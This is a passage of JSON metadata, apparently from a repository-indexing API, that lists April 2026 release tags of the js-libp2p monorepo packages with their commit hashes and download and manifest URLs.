arsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.19/manifests"},{"name":"crypto-v5.1.17","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/crypto-v5.1.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/crypto-v5.1.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@crypto-v5.1.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/crypto-v5.1.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/crypto-v5.1.17/manifests"},{"name":"config-v1.1.29","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/config-v1.1.29","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/config-v1.1.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@config-v1.1.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.29/manifests"},{"name":"circuit-relay-v2-v4.2.2","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/circuit-relay-v2-v4.2.2","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/circuit-relay-v2-v4.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@circuit-relay-v2-v4.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.2/manifests"},{"name":"bootstrap-v12.0.18","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/bootstrap-v12.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/bootstrap-v12.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@bootstrap-v12.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.18/manifests"},{"name":"autonat-v3.0.17","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v3.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v3.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v3.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.17/manifests"},{"name":"autonat-v2-v2.0.17","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v2-v2.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v2-v2.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v2-v2.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.0.17/manifests"},{"name":"webtransport-v6.0.18","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.18/manifests"},{"name":"websockets-v10.1.9","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/websockets-v10.1.9","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/websockets-v10.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@websockets-v10.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.9/manifests"},{"name":"webrtc-v6.0.17","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webrtc-v6.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webrtc-v6.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webrtc-v6.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.17/manifests"},{"name":"utils-v7.0.16","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/utils-v7.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/utils-v7.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@utils-v7.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.0.16/manifests"},{"name":"upnp-nat-v4.0.16","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/upnp-nat-v4.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/upnp-nat-v4.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@upnp-nat-v4.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.16/manifests"},{"name":"transport-interop-libp2p-main-v1.0.18","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.18/manifests"},{"name":"tls-v3.0.16","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tls-v3.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tls-v3.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tls-v3.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.0.16/manifests"},{"name":"tcp-v11.0.16","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tcp-v11.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tcp-v11.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tcp-v11.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.16/manifests"},{"name":"simple-metrics-v2.0.13","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/simple-metrics-v2.0.13","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/simple-metrics-v2.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@simple-metrics-v2.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.13/manifests"},{"name":"record-v4.0.11","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/record-v4.0.11","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/record-v4.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@record-v4.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/record-v4.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/record-v4.0.11/manifests"},{"name":"prometheus-metrics-v5.0.17","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/prometheus-metrics-v5.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/prometheus-metrics-v5.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@prometheus-metrics-v5.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.17/manifests"},{"name":"pnet-v3.0.17","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/pnet-v3.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/pnet-v3.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@pnet-v3.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.17/manifests"},{"name":"plaintext-v3.0.16","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/plaintext-v3.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/plaintext-v3.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@plaintext-v3.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.16/manifests"},{"name":"ping-v3.1.1","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/ping-v3.1.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/ping-v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@ping-v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.1/manifests"},{"name":"perf-v5.1.1","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/perf-v5.1.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/perf-v5.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@perf-v5.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.1/manifests"},{"name":"peer-store-v12.0.16","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-store-v12.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-store-v12.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.16/manifests"},{"name":"peer-record-v9.0.8","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-record-v9.0.8","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-record-v9.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-record-v9.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.8/manifests"},{"name":"peer-id-v6.0.7","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-id-v6.0.7","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-id-v6.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-id-v6.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.7/manifests"},{"name":"peer-collections-v7.0.16","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-collections-v7.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-collections-v7.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-collections-v7.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.16/manifests"},{"name":"opentelemetry-metrics-v2.0.17","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/opentelemetry-metrics-v2.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/opentelemetry-metrics-v2.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@opentelemetry-metrics-v2.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.17/manifests"},{"name":"multistream-select-v7.0.16","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/multistream-select-v7.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/multistream-select-v7.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@multistream-select-v7.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.16/manifests"},{"name":"mplex-v12.0.17","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mplex-v12.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mplex-v12.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mplex-v12.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.17/manifests"},{"name":"memory-v2.0.16","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/memory-v2.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/memory-v2.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@memory-v2.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.16/manifests"},{"name":"mdns-v12.0.17","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mdns-v12.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mdns-v12.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mdns-v12.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.17/manifests"},{"name":"logger-v6.2.5","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/logger-v6.2.5","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/logger-v6.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@logger-v6.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.5/manifests"},{"name":"libp2p-v3.2.1","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/libp2p-v3.2.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/libp2p-v3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@libp2p-v3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.2.1/manifests"},{"name":"keychain-v6.0.13","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/keychain-v6.0.13","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/keychain-v6.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@keychain-v6.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.0.13/manifests"},{"name":"kad-dht-v16.2.1","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/kad-dht-v16.2.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/kad-dht-v16.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@kad-dht-v16.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.2.1/manifests"},{"name":"interop-v14.0.18","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.18/manifests"},{"name":"interface-v3.2.1","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-v3.2.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-v3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-v3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-v3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-v3.2.1/manifests"},{"name":"interface-internal-v3.1.1","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-internal-v3.1.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-internal-v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-internal-v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.1/manifests"},{"name":"interface-compliance-tests-v7.0.17","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-compliance-tests-v7.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-compliance-tests-v7.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-compliance-tests-v7.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.17/manifests"},{"name":"integration-tests-v1.2.1","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.1/manifests"},{"name":"identify-v4.1.1","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/identify-v4.1.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/identify-v4.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@identify-v4.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.1/manifests"},{"name":"gossipsub-v15.0.18","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codelo